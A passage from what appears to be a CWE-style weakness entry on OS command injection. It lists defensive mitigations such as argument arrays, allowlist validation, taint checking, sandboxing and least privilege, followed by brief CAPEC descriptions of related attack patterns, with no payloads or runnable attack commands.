Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.